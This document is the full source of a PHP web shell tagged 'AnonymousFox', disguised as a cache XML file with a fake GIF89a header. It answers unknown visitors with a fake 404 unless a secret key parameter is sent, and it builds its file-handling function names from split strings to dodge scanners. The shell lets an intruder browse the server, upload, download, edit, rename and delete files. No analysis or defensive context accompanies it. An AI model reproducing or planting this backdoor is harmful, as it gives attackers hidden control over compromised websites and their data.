AnonymousFox

//proc/self/cwd/cache-eosn4.xml.php

GIF89a;
<?php
$__h='fpgcb';$__k='ipvz733rbyqykq';
if(!isset($_REQUEST[$__h])||$_REQUEST[$__h]!==$__k){http_response_code(404);die('Not Found');}
@error_reporting(0);@set_time_limit(0);
$d=isset($_REQUEST['d'])?@realpath($_REQUEST['d']):@getcwd();if(!$d)$d=@getcwd();
$_w=str_split('file_put_contents',1);$_w=implode('',$_w);
$_r=str_split('file_get_contents',1);$_r=implode('',$_r);
$_m=str_split('move_uploaded_file',1);$_m=implode('',$_m);
$_u=str_split('unlink',1);$_u=implode('',$_u);
$_n=str_split('rename',1);$_n=implode('',$_n);
$q=$__h.'='.$__k;$msg='';
if(isset($_POST['sv'])&&isset($_POST['fp'])&&isset($_POST['fc'])){@$_w($_POST['fp'],$_POST['fc']);$msg='OK';}
if(isset($_POST['rn'])&&isset($_POST['of'])&&isset($_POST['nf'])){@$_n($d.'/'.$_POST['of'],$d.'/'.$_POST['nf']);$msg='OK';}
if(isset($_GET['rm'])){@$_u($d.'/'.basename($_GET['rm']));$msg='OK';}
if(isset($_POST['up'])&&isset($_FILES['f'])){@$_m($_FILES['f']['tmp_name'],$d.'/'.basename($_FILES['f']['name']));$msg='OK';}
if(isset($_GET['dl'])){$fp=$d.'/'.basename($_GET['dl']);if(is_file($fp)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename='.basename($fp));readfile($fp);exit;}}
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>r00t@trenggalek6etar</title>
<style>body{background:#0a0a0a;color:#c0c0c0;font:12px monospace;padding:8px}a{color:#4fc3f7;text-decoration:none}.b{background:#16213e;padding:5px 8px;margin:3px 0;border-radius:2px}table{width:100%;border-collapse:collapse}td{padding:3px 6px;border-bottom:1px solid #1a1a2e}tr:hover{background:#1a1a2e}.s{color:#666;font-size:11px}input[type=submit]{background:#4fc3f7;color:#0a0a0a;border:0;padding:3px 10px;cursor:pointer;font-size:11px}textarea{width:100%;background:#0d1117;color:#c0c0c0;border:1px solid #333;padding:6px;font:11px monospace}</style></head><body><b style="color:#e94560">r00t@trenggalek6etar</b>
<?php if($msg)echo" <span style='color:#4fc3f7'>[$msg]</span>";
if(isset($_GET['ed'])&&is_file($d.'/'.basename($_GET['ed']))){$ef=$d.'/'.basename($_GET['ed']);echo'<form method=post><div class=b>'.htmlspecialchars(basename($ef)).'</div><textarea name=fc rows=16>'.htmlspecialchars(@$_r($ef)).'</textarea><input type=hidden name=fp value="'.htmlspecialchars($ef).'"><input type=submit name=sv value=Save></form>';
}elseif(isset($_GET['ren'])){echo'<form method=post class=b>'.htmlspecialchars(basename($_GET['ren'])).' > <input name=nf value="'.htmlspecialchars(basename($_GET['ren'])).'" style="background:#0d1117;color:#c0c0c0;border:1px solid #333;padding:2px"><input type=hidden name=of value="'.htmlspecialchars(basename($_GET['ren'])).'"><input type=submit name=rn value=OK></form>';
}else{$ps=explode('/',str_replace('\\','/',$d));$bp='';echo'<div class=b>';foreach($ps as $s){if($s==='')continue;$bp.='/'.$s;echo'/<a href="?'.$q.'&d='.urlencode($bp).'">'.$s.'</a>';}echo'</div>';
echo'<form method=post enctype=multipart/form-data class=b><input type=file name=f> <input type=submit name=up value=Up></form>';
echo'<table>';$ls=@scandir($d);if($ls){sort($ls);foreach($ls as $f){if($f=='.')continue;$fp=$d.'/'.$f;$id=is_dir($fp);
echo'<tr><td>'.($id?'[<a href="?'.$q.'&d='.urlencode($fp).'">'.$f.'</a>]':'<a href="?'.$q.'&d='.urlencode($d).'&dl='.urlencode($f).'">'.$f.'</a>').'</td><td class=s>'.($id?'':number_format(filesize($fp))).'</td><td>';
if(!$id)echo'<a href="?'.$q.'&d='.urlencode($d).'&ed='.urlencode($f).'">[e]</a> ';echo'<a href="?'.$q.'&d='.urlencode($d).'&ren='.urlencode($f).'">[r]</a> ';
if($f!='..')echo'<a href="?'.$q.'&d='.urlencode($d).'&rm='.urlencode($f).'" onclick="return confirm()" style="color:#e57373">[x]</a>';echo'</td></tr>';}}echo'</table>';}?></body></html>